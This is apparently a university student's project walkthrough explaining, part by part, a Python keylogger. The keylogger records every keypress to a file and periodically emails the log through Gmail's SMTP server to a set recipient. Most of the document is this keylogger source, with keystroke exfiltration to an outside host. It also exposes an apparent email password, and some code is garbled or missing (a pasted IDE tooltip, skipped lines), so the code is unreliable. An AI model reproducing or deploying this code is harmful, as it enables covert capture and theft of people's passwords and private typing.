GLA UNIVERSITY , MATHURA

Application and Data Security project.

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Keystroke Logging Demonstration – Project Explanation

INTRODUCTION

Hello everyone, my name is Vivek.

Today I am going to explain my Cyber Security project — a Keystroke Logging Demonstration.

This project is only for educational and research purposes to understand event handling, file handling, threading, and SMTP in Python.

PART 1 — IMPORT STATEMENTS

```
1    import keyboard
2    import smtplib
3    from threading import Timer
4    from datetime import datetime
5
```

Explanation:

- keyboard → captures key events on my own computer

- smtplib → allows sending emails through SMTP

- Timer → helps to schedule a task after a delay

- datetime → for timestamps

This part explains how Python interacts with systems and schedules tasks.

PART 2 — CONFIGURATION VARIABLES

```
6    LOG_FILE = "keylog.txt"
7    SEND_INTERVAL = 60 # seconds
8    EMAIL_ADDRESS = "vivekaashyap.com"
9    EMAIL_PASSWORD = "Vivekaashyap,07"
10   RECIPIENT_EMAIL = "vivekkashyap8299@gmail.com"
```

Explanation:

- Stores all keystrokes in a log file

- SEND_INTERVAL decides the delay for sending logs

- Email credentials are used for SMTP authentication

This part demonstrates setting configuration values.

PART 3 — LOGGING KEYSTROKES

```python
12  def log_keystroke(event):
13      with open(LOG_FILE, "a") as f:
14          timestamp = datetime.now().strf    (function) name: Any  ")
15          f.write(f"{timestamp} - {event.name}\n")
16
```

Explanation:

This function runs whenever a key is pressed.

It logs the timestamp and the key pressed in the text file.

This demonstrates file handling, event handling, and timestamps.

PART 4 — EVENT REGISTRATION

```python
16
17  keyboard.on_press(log_keystroke)
18
```

Explanation:

This line tells Python to execute the log_keystroke function whenever a key is pressed.

It demonstrates event-driven programming.

PART 5 — SENDING LOGS THROUGH EMAIL

```python
19  def send_logs():
20      try:
21          with open(LOG_FILE, "r") as f:
22              logs = f.read()
23
24          server = smtplib.SMTP("smtp.gmail.com", 587)
25          server.starttls()
26          server.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
27
28          message = f"Subject: Keylogger Logs\n\n{logs}"
29          server.sendmail(EMAIL_ADDRESS, RECIPIENT_EMAIL, message)
30
31          server.quit()
```

Explanation:

This function reads the log file, connects to Gmail SMTP server, and sends the logs.

It demonstrates Python email automation.

PART 6 — TIMER SETUP

```
36    timer = Timer(SEND_INTERVAL, send_logs)
37    timer.start()
```

Explanation:

This schedules the send_logs function to run after a set interval.

It shows the use of multithreading and timed execution.

PART 7 — KEEPING THE PROGRAM RUNNING

```
38
39    keyboard.wait()
```

Explanation:

This keeps the script active so it continues listening for keystrokes.

At Last

This project is strictly for learning event handling, file management, and email automation in Python.

It is meant to run only on my own system and not for any unethical purpose.

Thank you.